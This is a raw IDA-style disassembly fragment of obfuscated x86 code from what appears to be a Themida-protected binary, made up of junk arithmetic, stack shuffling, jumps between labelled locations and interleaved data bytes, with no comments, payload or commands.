		add	ecx, 0E68134Ah
		add	ecx, edi
		sub	ecx, 0E68134Ah
		push	edx
		push	edi
		push	4D37201Dh
		pop	edi
		push	ebx
		mov	ebx, 4F914A9Ch
		add	edi, ebx
		pop	ebx
		jmp	loc_56905E
; ---------------------------------------------------------------------------


loc_56238F:				; CODE XREF: Themida_:0055F1ADj
		xor	eax, ecx
		xor	ecx, eax
		push	5D3h
		jmp	loc_560565
; ---------------------------------------------------------------------------
		db 40h,	35h, 44h
		dd 0E9731461h, 0FCA4h, 29482605h, 0D0015B3Eh, 6B637E2Dh
		dd 3830536h, 0D7E9533Eh, 0F00002Ch, 8B66C0B6h, 9D682414h
		dd 8900006Ah, 5B54241Ch, 46855h, 72E90000h, 52000000h
		dd 30296853h, 9BE90000h, 680000A1h, 19853876h, 4EC815Bh
		dd 89000000h, 88BF243Ch, 949D134h, 0E9435FFBh, 19DEh, 6624248Bh
		dd 5624048Bh, 0EC83E689h, 240C8904h, 69D668h, 24048900h
		dd 17C9E9h, 0E9DC2C00h,	8B2h
; ---------------------------------------------------------------------------


loc_562428:				; CODE XREF: Themida_:00560B49j
		pop	ebx
		sub	esi, ebx
		jmp	loc_561DDC
; ---------------------------------------------------------------------------
		dd 5224048Bh, 0E173E9h
		db 0
; ---------------------------------------------------------------------------


loc_562439:				; CODE XREF: Themida_:005611DDj
		dec	ecx
		push	esi
		jmp	loc_56EA25
; ---------------------------------------------------------------------------


loc_562440:				; CODE XREF: Themida_:00568F7Fj
		push	small 55A7h
		mov	[esp], ax
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0EBh
		dd 83242C8Bh, 5E6804C4h, 0E9000028h, 0F636h, 68241489h
		dd 124Dh, 24048F54h, 74C3E9h, 81E38900h, 4C3h, 4C38100h
		dd 0E9000000h, 0FFFFE1B4h, 8704EB83h, 895C241Ch, 96B7241Ch
		dd 0C05BFD88h, 0C5FE03E5h, 8904EC83h, 0C4B7241Ch, 6AE9FD00h
		dd 0BBFFFFF0h, 520C5FF5h, 81DBF74Bh, 762B4E3h, 4EBC145h
		dd 2A01F381h, 0C3812BE8h, 398057B2h, 89D88950h,	95B58C6h
		dd 0E9815EF1h, 6F776CF4h, 4E3E9h, 0E8885000h, 30E7E9h
		dd 24048B00h, 5E08950h,	4, 8704C083h, 27E92404h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5624F7:				; CODE XREF: Themida_:005600FFj
		mov	[esp], edi
		push	65EE576Ah
		pop	edi
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, ecx
		push	ebx
		mov	ebx, 65EE576Ah
		sub	eax, ebx
		pop	ebx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_571395
; ---------------------------------------------------------------------------
		dw 535Fh
		dd 4BBh, 6CC78100h, 117ED66h, 0B618E9DFh, 0EE830000h, 15E68101h
		dd 816E703Ah, 8EB9A5EEh, 9356E9C4h, 0E94D0000h,	0AE5Ch
		dd 65AE6856h, 3C890000h, 1F31BF24h, 0C78170B1h,	33F777E5h
		dd 0CD5CF81h, 0EF8105ABh, 56816C2Fh, 449E781h, 10E91A9Dh
		dd 88FFFFD2h, 0A592E9E8h, 0BF570000h, 4E3025C4h, 3C42CF81h
		dd 0EF8111F6h, 5D5A27FEh, 0EF81D7F7h, 0FD63EA37h, 295FFB89h
		dd 8BDE89F3h, 69E9241Ch, 50FFFFB6h, 2B1A68h, 241C8900h
		dd 88A6B450h, 0AB20E9E7h, 0C781FFFFh, 0E1F6233h, 92BEC781h
		dd 0F9013904h, 2434FF5Fh, 4C4815Dh, 81000000h, 4C1h, 67F4E900h
		dd 0BA520000h, 7F982F6Eh, 6A9CF281h, 0F2817C31h, 241C71FEh
		dd 575AD601h, 84168h, 24148900h, 66BB6855h, 685D4696h
		dd 744Dh, 53241489h, 0B622C368h, 21E95B2Ah, 0FF000036h
		dd 835A2434h, 0D80104C4h, 0E9241C8Bh, 0BD1Ch
; ---------------------------------------------------------------------------


loc_562628:				; CODE XREF: Themida_:0055DC47j
		add	esp, 4
		jmp	loc_560837
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0EC815100h, 4,	0A831E9h, 24143300h, 6624248Bh
		dd 2404AB0Fh, 0A86FE99Ch, 0E389FFFFh, 3CF7E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56265E:				; CODE XREF: Themida_:0056A753j
		push	esi
		push	edx
		push	783F5959h
		pop	edx
		add	edx, 3E426268h
		neg	edx
		add	edx, 0C6F8191Bh
		jmp	loc_5725CB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E689565Ah, 4BA52h, 0D6010000h, 8124148Bh, 4C4h, 4C68100h
		dd 87000000h, 55E92434h, 89000086h, 0B9BD242Ch,	0F7519E60h
		dd 0FFED81D5h, 81FFFFFFh, 4428F3C5h, 5DEA31DEh,	4D5AD589h
		dd 0BA52D5F7h, 40A272D3h, 679CEA81h, 0EA814940h, 7F477FF2h
		dd 0C6F6E9h, 5AB45000h,	0F627F480h, 16ADE9D4h, 875E0000h
		dd 248B243Ch, 2434FF24h, 538E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5626F2:				; CODE XREF: Themida_:005697DAj
		add	esp, 4
		jmp	loc_57127A
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0E1h
		dd 571DD275h, 0FFD060E9h, 2E2C1FFh, 0D2F7DAF7h,	0F281DAF7h
		dd 0EEEF3C74h, 5F5AD301h, 698FBA52h, 0EA817CE2h, 52324E06h
		dd 264FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56272D:				; CODE XREF: Themida_:00560C55j
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FFA784E9h, 4C483FFh, 0FFD853E9h
		dd 0BDE95EFFh, 83000046h, 0F5E904C4h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562757:				; CODE XREF: Themida_:0056F34Aj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ecx, [ebx]
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56D62F
; ---------------------------------------------------------------------------


loc_562772:				; CODE XREF: Themida_:00562D91j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56EA1A
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 21h
		dd 0F1E9C800h, 4D0000B5h, 8105EDC1h, 66B69E5h, 56ED8136h
		dd 29E9F203h, 0D82D5DE8h, 29758524h, 24D805D8h,	0A057585h
		dd 516103Dh, 17311FB7h,	3CB868h, 243C8900h, 32EFBE56h
		dd 0CCBF3CB7h, 0E95A203Bh, 6B19h, 77ABF381h, 0D9E97FFFh
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5627D3:				; CODE XREF: Themida_:0056F2D9j
		add	esp, 4
		jmp	loc_56D14E
; ---------------------------------------------------------------------------


loc_5627DB:				; CODE XREF: Themida_:00560CD2j
		and	edx, 16CB42B7h
		jmp	loc_56D01E
; ---------------------------------------------------------------------------


loc_5627E6:				; CODE XREF: Themida_:0055E053j
		mov	ecx, 4A2A1614h
		jmp	loc_56C2E4
; ---------------------------------------------------------------------------
		dd 875BDD89h, 0CD8741CDh, 9505E5C1h, 5055D0F7h,	0EC81585Dh
		dd 4, 0BB241C89h, 4CC40621h, 8103EBC1h,	0DA1905CBh, 5BBD551Fh
		dd 312571ECh, 0ABE95DEBh
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562827:				; CODE XREF: Themida_:0056692Fj
		add	eax, esi
		push	ebx
		mov	ebx, 388F48C8h
		or	ebx, 4AF87101h
		xor	ebx, 0D5922ACh
		jmp	loc_561D74
; ---------------------------------------------------------------------------
		dd 3C45ED81h, 0CD8149AFh, 8C145C2h, 808B850h, 0C509513Bh
		dd 0E9D5F758h, 4D09h, 3A3068h, 24148900h, 5DE95A54h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56286B:				; CODE XREF: Themida_:0056686Cj
		mov	[esp], ebp
		pop	edx
		jmp	loc_56E6AA
; ---------------------------------------------------------------------------
		dd 0F580C5FEh, 59EB289Eh, 0FFDBB3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562881:				; CODE XREF: Themida_:00564534j
		pop	edi
		xor	ebx, 2F5602C5h
		mov	esi, ebx
		jmp	loc_565606
; ---------------------------------------------------------------------------
		db 81h
		dd 6B5274C5h, 0E9EB01F6h, 4Fh, 0D6F7465Dh, 39CBE9h, 2690BF00h
		dd 50562597h, 0C6CDE9h,	4C38100h, 52000000h, 4BAh, 5AD32900h
		dd 0E9241C87h, 0FFFFC62Ch, 4C481h, 0DDE90000h, 5A0000FCh
		dd 0E480CCFEh, 80CCFE04h, 51666BCCh, 0CC3032B1h, 0E7E95966h
		dd 5D000040h, 0BFFE9h, 17250500h, 75E9EA56h, 810000FCh
		dd 0F11F97F5h, 7EDC16Ch, 1895ED81h, 0EB89FEFAh,	5BD9215Dh
		dd 606DF181h, 0F1812002h, 12FE6BC3h, 0EDE9CD31h, 0F7000085h
		dd 5E1C1D1h, 0FFBB85E9h, 209DBBFFh, 6C813651h, 15D90424h
		dd 71E908D3h, 5CFFFFC1h, 9CC83B66h, 0FFA57CE9h,	0BA268FFh
		dd 14890000h, 6EEE6824h, 0C890000h, 0D3B9E924h,	12BDFFFFh
		dd 0E910277Ch, 0F149h, 6F8AE959h, 2EB10000h, 0C180D1F6h
		dd 0E9CC88EFh, 8299h, 2904C483h, 5D08246Ch, 0E9242C8Bh
		dd 0FFFFF1A4h, 405h, 24048700h,	49FDE95Ch, 248B0000h, 48B6624h
		dd 6A13E924h, 89500000h, 405E0h, 4050000h, 87000000h, 0E95C2404h
		dd 0BA74h, 1CE1BA52h, 0DAF74469h, 8107E2C1h, 538F2h, 43C2811Ah
		dd 0F72E2C32h, 4D25E9D2h, 0EA810000h, 15DB1FD1h, 0FFBCEBE9h
		dd 4BA52FFh, 1000000h, 0C6835AD6h, 74FF5604h, 8F5E0424h
		dd 0D0E92404h, 0F700003Ah, 0A6EE81DEh, 8149AF7Dh, 180E05E6h
		dd 0E9DEF709h, 67A5h, 26857h, 0E95F0000h, 0FFFFA5A4h
; ---------------------------------------------------------------------------


loc_562A20:				; CODE XREF: Themida_:00564B39j
		push	small 6F78h
		mov	[esp], cx
		jmp	loc_56CCDA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5660C2
; ---------------------------------------------------------------------------


loc_562A35:				; CODE XREF: Themida_:0055FDA9j
		add	ecx, 1BA2600Ch
		shl	ecx, 3
		inc	ecx
		jmp	loc_56F816
; ---------------------------------------------------------------------------


loc_562A44:				; CODE XREF: Themida_:0055F393j
		xor	ebx, eax
		jmp	loc_55D0D2
; ---------------------------------------------------------------------------


loc_562A4B:				; CODE XREF: Themida_:0055DE4Ej
		mov	esp, [esp]
		pop	esi
		jmp	loc_568D5B
; ---------------------------------------------------------------------------
		dd 42474FFh, 0DBE5E9h, 4C68100h, 83000000h, 348704EEh
		dd 0C895C24h, 4EC8124h,	89000000h, 4812424h, 424h, 587DE900h
		dd 0F4800000h, 0C8686601h, 0C896634h, 854B124h,	0C8B66CCh
		dd 2C48324h, 0FE00B753h, 7D03E9C7h, 4CB40000h, 0E530B7B5h
		dd 0E9EB8858h, 7F22h, 6835B252h, 1752h,	0B5240C89h, 6195E9CCh
		dd 0F1810000h, 0FF81B7D3h, 159CA01h, 0EFF6E9CAh, 34FF0000h
		dd 0B12DE924h, 0D728FFFFh, 666DEF80h, 8124148Bh, 2C4h
		dd 4EFC000h, 72E9D7F6h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562AF3:				; CODE XREF: Themida_:0056C739j
		sub	esi, 38BE1DA3h
		not	esi
		or	esi, 5C631A08h
		xor	esi, 6EB648EDh
		and	ecx, esi
		pop	esi
		push	eax
		mov	eax, 61607933h
		sub	eax, 7A6F74F7h
		or	eax, 7A6A7E10h
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		push	ebp
		mov	ebp, 74FD6CAEh
		xor	ebp, 279BC2BDh
		xor	eax, ebp
		pop	ebp
		sub	ecx, eax
		jmp	loc_570393
; ---------------------------------------------------------------------------


loc_562B34:				; CODE XREF: Themida_:00563B31j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56E5A7
; ---------------------------------------------------------------------------


loc_562B4E:				; CODE XREF: Themida_:005695E9j
		not	ecx
		shr	ecx, 2
		add	ecx, 57357424h
		push	ebx
		mov	ebx, ecx
		push	ebx
		xor	dword ptr [esp], 3CA15913h
		pop	edi
		push	eax
		mov	eax, 3CA15913h
		xor	edi, eax
		pop	eax
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	2AA6866h
		pop	ebp
		shl	ebp, 5
		sub	ebp, 0D9A2B83Fh
		jmp	loc_55FF95
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC815924h, 4, 68243C89h, 0E70h, 83242489h, 5F042404h
		dd 6E92BA52h, 51427F04h, 29AE9h
		db 0
; ---------------------------------------------------------------------------


loc_562BB1:				; CODE XREF: Themida_:00563FD6j
		add	esp, 4
		jmp	loc_56F12F
; ---------------------------------------------------------------------------
		dd 5204C483h, 725868h, 2E19E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562BCA:				; CODE XREF: Themida_:0056D281j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0C81h
		jmp	loc_56BE72
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 736F28EBh, 815DEA01h, 0C90A5BC2h, 0C9BF5742h, 0E9AAB253h
		dd 0FFFFC031h
; ---------------------------------------------------------------------------


loc_562BF4:				; CODE XREF: Themida_:0055D4AEj
		mov	edx, eax
		push	ecx
		push	edi
		mov	edi, esp
		jmp	loc_571602
; ---------------------------------------------------------------------------


loc_562BFF:				; CODE XREF: Themida_:00561698j
		mov	ebp, 3F9706C6h
		xor	ebp, esi
		pop	esi
		jmp	loc_566FEF
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 2AA7E900h, 8B660000h, 0E951240Ch, 0FFFFBB7Ch
		dd 40D3E95Ch, 83560000h, 248904ECh, 24048324h, 24348B04h
		dd 8104C483h, 4C6h, 6BB5300h, 0E9587C77h, 0EF2h, 9C2404D2h
		dd 0FFD9DEE9h, 34ED81FFh, 81322E43h, 78301DEDh,	1F5810Dh
		dd 292EFFB5h, 0F407E9E9h, 4BD0000h, 29000000h, 242C8BEFh
		dd 3304C483h, 0DBE9243Ch
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562C83:				; CODE XREF: Themida_:0056A00Aj
		add	eax, 4
		add	eax, 4
		push	7E14h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_56B9C4
; ---------------------------------------------------------------------------


loc_562C9C:				; CODE XREF: Themida_:00566ECAj
		mov	ebp, 3FCh
		push	eax
		mov	eax, 1A800859h
		sub	edi, eax
		pop	eax
		push	edx
		mov	edx, 2E5B30FCh
		shl	edx, 6
		not	edx
		shl	edx, 6
		jmp	loc_5672B1
; ---------------------------------------------------------------------------


loc_562CBD:				; CODE XREF: Themida_:00566289j
		pop	dword ptr [esp]
		jmp	loc_5705A3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 7166866h, 24148966h,	39AC68h, 6CB9E900h, 59660000h
		dd 0EC835152h, 3B40E904h, 0C5830000h, 242C3304h, 33242C31h
		dd 248B242Ch, 240CFF24h, 0A1C7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562CFE:				; CODE XREF: Themida_:005662DCj
		sub	ebx, 2708159Fh
		pop	ebp
		jmp	loc_564CE5
; ---------------------------------------------------------------------------


loc_562D0A:				; CODE XREF: Themida_:0056BB43j
		or	ebx, 71451CCFh
		sub	ebx, 0F06CACDh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	575A5E5Eh
		pop	esi
		add	esi, 144EBC48h
		mov	ebp, esi
		pop	esi
		jmp	loc_56D920
; ---------------------------------------------------------------------------


loc_562D3F:				; CODE XREF: Themida_:005720EFj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		push	esi
		jmp	loc_56FA45
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0AFE92414h, 530000BFh, 4C0981BBh, 0EB834342h, 0C1D3F701h
		dd 0E94B03E3h, 0F2Dh, 3C8BFD31h, 0D9B4E924h, 8B530000h
		dd 0C483242Ch, 2434FF04h, 4C4815Bh, 21000000h, 0E95D1C6Fh
		dd 6D6h
; ---------------------------------------------------------------------------


loc_562D90:				; CODE XREF: Themida_:0056942Bj
		pop	eax
		jmp	loc_562772
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 241C8900h, 0EAE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_562DA5:				; CODE XREF: Themida_:00560A4Fj
		mov	[esp], edi
		push	71A2h
		mov	[esp], ebp
		mov	ebp, 2DD20378h
		and	ebp, 30E1BD0h
		not	ebp
		jmp	loc_567ADB
; ---------------------------------------------------------------------------
		dw 7768h
		dd 89000079h, 2BBF243Ch, 0E92D3952h, 0F280h
; ---------------------------------------------------------------------------


loc_562DD4:				; CODE XREF: Themida_:00569CF3j
		pop	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_564D5F
; ---------------------------------------------------------------------------
aQho		db '\Qh®\',0
		align 2
		dw 489h
aSHiRhs		db '$S³HˆÜ[Rhé:',0
		dd 241C8900h, 0FE88E788h, 81241C8Bh, 4C4h, 34D3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E0E:				; CODE XREF: Themida_:005683B9j
		pop	esp
		jmp	loc_56D424
; ---------------------------------------------------------------------------
		dd 0C281CA29h, 2E621BADh, 8B2434FFh, 0C483240Ch, 4C48304h
		dd 3C685350h, 5B215D2Ah, 570EE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E36:				; CODE XREF: Themida_:0056B27Fj
		pop	ebp
		sub	edx, 401E4686h
		add	edx, ebp
		add	edx, 401E4686h
		pop	ebp
		jmp	loc_56A74B
; ---------------------------------------------------------------------------
aWpSp3		db '¹wP³+é¯3',0
		dd 13F9B900h, 0D9313065h, 0E9CB895Bh, 5682h, 0F3E9555Dh
		dd 81FFFFFAh, 0C3313FC1h, 0E9F10117h, 21A9h, 87D9875Bh
		dd 87D2F7D3h, 68D987D3h, 2B25h,	56241C89h, 0B63AA0BEh
		dd 67E6816Bh, 0E959364Eh, 3FB9h, 0E533E951h, 1C890000h
		dd 6236824h, 14890000h,	559D6824h, 0BCE90000h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562EB7:				; CODE XREF: Themida_:0055FA31j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56D27D
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 24248B24h,	0FFDAB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562ED5:				; CODE XREF: Themida_:0057200Fj
		add	esp, 4
		push	ecx
		push	ebx
		mov	bl, al
		mov	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56A61D
; ---------------------------------------------------------------------------
aAcifh		db '€æ›fh',0
		dw 2800h
		dd 348A2434h, 14D7E924h, 0C7810000h, 6461012Dh,	7E7C15Bh
		dd 0C357E9h, 2CE80000h,	4DC2C02h, 0F507E9F7h, 0F581FFFFh
		dd 6ACF6336h, 3CD3C581h, 0EB011330h, 0FFB3EFE9h, 283EB7FFh
		dd 1C8B66FEh, 2C48324h,	0B450CE00h, 0BA6BE93Eh,	0D68FFFFh
		dd 5B7C2725h, 12ACB81h,	0CB81173Bh, 6EDC72ADh, 0FFF86FE9h
		dd 0E28952FFh, 4C281h, 0C2810000h, 4, 0E9241487h, 2EA2h
; ---------------------------------------------------------------------------


loc_562F70:				; CODE XREF: Themida_:00561018j
		mov	ecx, 1Ch
		jmp	loc_5636EE
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 4F02C781h, 34E97046h, 66FFFFBAh, 0E9240C8Bh,	0FFFFE134h
		dd 4C481h, 34870000h, 0C24FE924h, 495FFFFFh, 1C95C981h
		dd 0E9C159E1h, 0C862E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562FAE:				; CODE XREF: Themida_:005632A0j
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		push	esi
		push	ebx
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_566934
; ---------------------------------------------------------------------------
		db 0B8h
		dd 5C92270Dh, 36F4E9h, 28E95400h, 45000033h, 722FED81h
		dd 0E9891B49h, 8BCF015Dh, 0C481240Ch, 4, 0E95FF901h, 0FFFF9F8Ch
		dd 0E903E1C1h, 94F6h, 35268h, 24248900h, 7D52E9h, 5ABE5600h
		dd 81687700h, 0F12274CEh, 2231E952h, 24890000h,	58E95024h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56302B:				; CODE XREF: Themida_:0057218Fj
		push	ecx
		mov	ecx, 5441753Ah
		sub	ecx, 31A86ED7h
		jmp	loc_566E3B
; ---------------------------------------------------------------------------
		dd 27E268h, 242C8900h, 242C8B54h, 4C481h, 54560000h, 4C6815Eh
		dd 55000000h, 0E830E9h
		db 0
; ---------------------------------------------------------------------------


loc_56305D:				; CODE XREF: Themida_:0056616Ej
		push	eax
		jmp	loc_56002E
; ---------------------------------------------------------------------------


loc_563063:				; CODE XREF: Themida_:00565345j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		jmp	loc_56E736
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9E4Dh, 1C8B5453h, 4C48324h, 4C381h, 0C3810000h
		dd 4, 0E9241C87h, 0FFFFDB76h, 7A92EB81h, 0EBE910B5h, 52FFFFB3h
		dd 4EA3BD55h, 0A7BA037Eh, 31037E4Eh, 0D5015DEAh, 5224148Bh
		dd 46E9E289h, 280000B7h, 665A66F0h, 8124148Bh, 2C4h, 0E3895300h
		dd 8F45E9h, 742DAD00h, 578957Eh, 71A918EAh, 6F3CBD55h
		dd 0EE91D79h, 5BFFFFB5h, 0BC68C301h, 89000004h,	52502414h
		dd 0D088CA88h, 0C0C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5630FD:				; CODE XREF: Themida_:00569DF7j
		sub	ebx, 1
		jmp	loc_569A92
; ---------------------------------------------------------------------------
aSH		db '\é¼h',0
		dw 8100h
		dd 641BF6EBh, 0E9C3012Ch, 709h
; ---------------------------------------------------------------------------


loc_563118:				; CODE XREF: Themida_:00561738j
		add	ebx, 0DFE3D0D5h
		sub	esi, ebx
		pop	ebx
		add	esi, eax
		jmp	loc_56CC7A
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0CF8904C4h, 53240C8Bh, 0FFF338E9h, 5CA368FFh
		dd 3C890000h, 0DE685324h, 89000058h, 8BE2434h, 89401706h
		dd 4E685EF3h, 89000078h, 49BB241Ch, 817C8B0Bh, 664670F3h
		dd 13BD557Eh, 0E9790177h, 8FD2h, 0CEE9F301h, 890000D5h
		dd 4812424h, 424h, 0C7815F00h, 4, 0E2C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_56318D:				; CODE XREF: Themida_:005662A4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 21362594h
		shr	ebx, 1
		jmp	loc_56DB8F
; ---------------------------------------------------------------------------


loc_5631AE:				; CODE XREF: Themida_:00567A5Aj
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, esi
		sub	ecx, 2A602665h
		jmp	loc_567E11
; ---------------------------------------------------------------------------
aLSia		db '‹$$é©',0
		dd 4C18100h, 87000000h,	51E9240Ch
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5631D7:				; CODE XREF: Themida_:00569ECEj
		sub	ebp, eax
		add	ebp, 427E0FC5h
		push	edx
		mov	edx, 60237312h
		jmp	loc_55D8B6
; ---------------------------------------------------------------------------


loc_5631EA:				; CODE XREF: Themida_:0056BA99j
		add	edx, eax
		jmp	loc_55DA8D
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EDh
		dd 7FEA3B0Eh, 26E9F501h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5631FF:				; CODE XREF: Themida_:0056BFF2j
		push	ebx
		mov	bh, ah
		mov	ch, bh
		pop	ebx
		pop	eax
		push	ebx
		jmp	loc_561122
; ---------------------------------------------------------------------------
		dd 0C15FFB09h, 3CE905E3h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563217:				; CODE XREF: Themida_:005678D9j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_568446
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 8EE99C24h, 5EFFFF9Ch, 97B0BB5Dh
		dd 0CB019AB9h, 0FFAB23E9h, 245401FFh, 24448104h, 0FA563C04h
		dd 24148B4Eh, 5A04C483h, 4C281h, 83530000h, 64E904ECh
		dd 810000A0h, 1418A6F1h, 90C18100h, 41095C74h, 0BE56D9F7h
		dd 3D471E02h, 96D8F796h, 0F108F681h, 0F1218C80h, 0DAC1815Eh
		dd 51B7C36Fh, 46242C81h, 0E93C8A7Fh, 0FFFFD7E6h
; ---------------------------------------------------------------------------


loc_56329C:				; CODE XREF: Themida_:0056B5D2j
		xchg	edx, ecx
		push	edx
		push	esi
		jmp	loc_562FAE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 38BD242Ch, 56452C36h, 2DB0E9h, 1C98100h
		dd 81632973h, 132F28E9h, 0F5C18151h, 8147A05Eh,	1A0844F1h
		dd 43E9815Ah, 89835965h, 0FE6859CFh, 0E9000070h, 0CE8Dh
		dd 0F6DD8658h, 0E0C580DDh, 0BE9EB88h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5632F3:				; CODE XREF: Themida_:00571275j
		neg	esi
		jmp	loc_55E2B8
; ---------------------------------------------------------------------------
		dw 9468h
		dd 89000022h, 73E92424h, 49000025h, 4E9C149h, 6970E181h
		dd 0E98156A7h, 3B9723B6h, 58E9CD29h, 530000A3h,	0E232BABBh
		dd 0BEF3813Dh, 0E93DE232h, 0FFFF9E2Dh, 24EB68h,	24148900h
		dd 64D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_56333D:				; CODE XREF: Themida_:00563EF1j
		add	esp, 4
		inc	ch
		add	ch, 29h
		add	bl, ch
		pop	ecx
		push	dx
		mov	dh, 0EFh
		add	dh, 1
		push	ebx
		mov	bl, 0C7h
		xor	dh, bl
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		inc	dh
		shr	dh, 5
		push	ebx
		mov	bh, 34h
		sub	dh, 70h
		sub	dh, bh
		add	dh, 70h
		pop	ebx
		add	bl, dh
		pop	dx
		push	ecx
		jmp	loc_5601A8
; ---------------------------------------------------------------------------


loc_563388:				; CODE XREF: Themida_:00563F43j
		add	dl, ch
		pop	ecx
		sub	ch, dl
		pop	edx
		push	eax
		mov	al, ch
		mov	dl, al
		jmp	loc_55F930
; ---------------------------------------------------------------------------
		dd offset dword_550240+128h
		dd 24148900h, 5263A0BAh, 0DCE95722h, 8900001Ah,	0FBE2434h
		dd 6856E720h, 4BD9h, 5F14E9h
		db 0
; ---------------------------------------------------------------------------


loc_5633BD:				; CODE XREF: Themida_:0055E1E4j
		push	ebp
		jmp	loc_56DE0E
; ---------------------------------------------------------------------------
		db 64h
		dd 55028B66h, 0C9ABE954h, 34FFFFFFh, 2434FF24h,	8B2434FFh
		dd 0C483240Ch, 2C286804h, 3C890000h, 0BDE9E924h, 0E95D0000h
		dd 0FFFF9E3Fh, 0E9515051h, 332Fh
; ---------------------------------------------------------------------------


loc_5633F8:				; CODE XREF: Themida_:00565A3Cj
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		xchg	edx, ecx
		xchg	ecx, ebp
		or	ebp, 61A42FF5h
		neg	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4D1968E8h
		shl	eax, 5
		not	eax
		sub	eax, 3E7A22F4h
		jmp	loc_57174F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 43140DD8h, 4FE9635Fh, 50FFFF9Ch, 0E188FC88h,	247C8A58h
		dd 244C8804h, 0D7F65904h, 59243C86h, 0FFF328E9h, 57C381FFh
		dd 0E99800C1h, 5756h, 0FF9A60E9h, 476858FFh, 89000079h
		dd 3481241Ch, 1A63C624h, 0AB08E935h, 0EE810000h, 44544BC1h
		dd 0C681C601h, 44544BC1h, 8124048Bh, 4C4h, 24343300h, 33243431h
		dd 58E92434h, 5E00000Eh, 4C181h, 0E9510000h, 793Ch, 5C242C33h
		dd 8004EFC0h, 0F800BAC7h, 68D8285Bh, 2D74h, 0B5240C89h
